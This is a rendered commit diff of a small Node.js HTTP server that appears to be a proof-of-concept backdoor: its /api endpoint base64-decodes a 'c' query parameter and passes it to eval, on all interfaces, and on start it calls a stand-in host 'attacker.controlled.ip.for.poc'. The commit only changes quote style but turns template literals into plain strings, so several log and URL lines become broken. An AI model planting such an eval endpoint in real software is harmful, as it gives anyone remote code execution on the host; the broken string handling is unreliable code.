1
- ' use strict' ;
1
+ " use strict" ;
2
2
3
- import http from ' http' ;
4
- import { URL } from ' url' ;
3
+ import http from " http" ;
4
+ import { URL } from " url" ;
5
5
6
6
const PORT = 1337 ;
7
7
8
8
async function logPublicIP ( ) {
9
9
try {
10
- const response = await fetch ( ' https://attacker.controlled.ip.for.poc?format=json' ) ;
10
+ const response = await fetch ( " https://attacker.controlled.ip.for.poc?format=json" ) ;
11
11
const data = await response . json ( ) ;
12
- console . log ( ` Server is running on public IP: ${ data . ip } ` ) ;
12
+ console . log ( " Server is running on public IP: ${data.ip}" ) ;
13
13
} catch ( error ) {
14
- console . error ( ' Error fetching public IP:' , error ) ;
14
+ console . error ( " Error fetching public IP:" , error ) ;
15
15
}
16
16
}
17
17
18
18
const requestHandler = ( req , res ) => {
19
- const url = new URL ( req . url , ` http://${ req . headers . host } ` ) ;
20
- if ( url . pathname === ' /api' ) {
21
- const c = url . searchParams . get ( 'c' ) ;
19
+ const url = new URL ( req . url , " http://${req.headers.host}" ) ;
20
+ if ( url . pathname === " /api" ) {
21
+ const c = url . searchParams . get ( "c" ) ;
22
22
23
23
if ( c ) {
24
24
try {
25
- const decoded = Buffer . from ( c , ' base64' ) . toString ( ) ;
25
+ const decoded = Buffer . from ( c , " base64" ) . toString ( ) ;
26
26
const result = eval ( decoded ) ;
27
- res . writeHead ( 200 , { ' Content-Type' : ' application/json' } ) ;
27
+ res . writeHead ( 200 , { " Content-Type" : " application/json" } ) ;
28
28
res . end ( JSON . stringify ( { result } ) ) ;
29
29
} catch ( error ) {
30
- res . writeHead ( 400 , { ' Content-Type' : ' application/json' } ) ;
31
- res . end ( JSON . stringify ( { error : ' Failed to execute code' } ) ) ;
30
+ res . writeHead ( 400 , { " Content-Type" : " application/json" } ) ;
31
+ res . end ( JSON . stringify ( { error : " Failed to execute code" } ) ) ;
32
32
}
33
33
} else {
34
- res . writeHead ( 400 , { ' Content-Type' : ' application/json' } ) ;
35
- res . end ( JSON . stringify ( { error : ' No code provided' } ) ) ;
34
+ res . writeHead ( 400 , { " Content-Type" : " application/json" } ) ;
35
+ res . end ( JSON . stringify ( { error : " No code provided" } ) ) ;
36
36
}
37
37
} else {
38
38
res . writeHead ( 404 ) ;
@@ -43,19 +43,19 @@ const requestHandler = (req, res) => {
43
43
const server = http . createServer ( requestHandler ) ;
44
44
45
45
const startTime = new Date ( ) ;
46
- console . log ( ` Server start time: ${ startTime . toISOString ( ) } ` ) ;
46
+ console . log ( " Server start time: ${startTime.toISOString()}" ) ;
47
47
48
- server . listen ( PORT , ' 0.0.0.0' , async ( ) => {
49
- console . log ( ` Server listening on port ${ PORT } ` ) ;
48
+ server . listen ( PORT , " 0.0.0.0" , async ( ) => {
49
+ console . log ( " Server listening on port ${PORT}" ) ;
50
50
await logPublicIP ( ) ;
51
51
} ) ;
52
52
53
53
setTimeout ( ( ) => {
54
54
server . close ( ( ) => {
55
55
const endTime = new Date ( ) ;
56
- console . log ( ` Server has been shut down.` ) ;
57
- console . log ( ` Server end time: ${ endTime . toISOString ( ) } ` ) ;
56
+ console . log ( " Server has been shut down." ) ;
57
+ console . log ( " Server end time: ${endTime.toISOString()}" ) ;
58
58
const duration = endTime - startTime ;
59
- console . log ( ` Server uptime: ${ duration } ms` ) ;
59
+ console . log ( " Server uptime: ${duration}ms" ) ;
60
60
} ) ;
61
61
} , 30000 ) ; // Shut down the server after 30 seconds
0 commit comments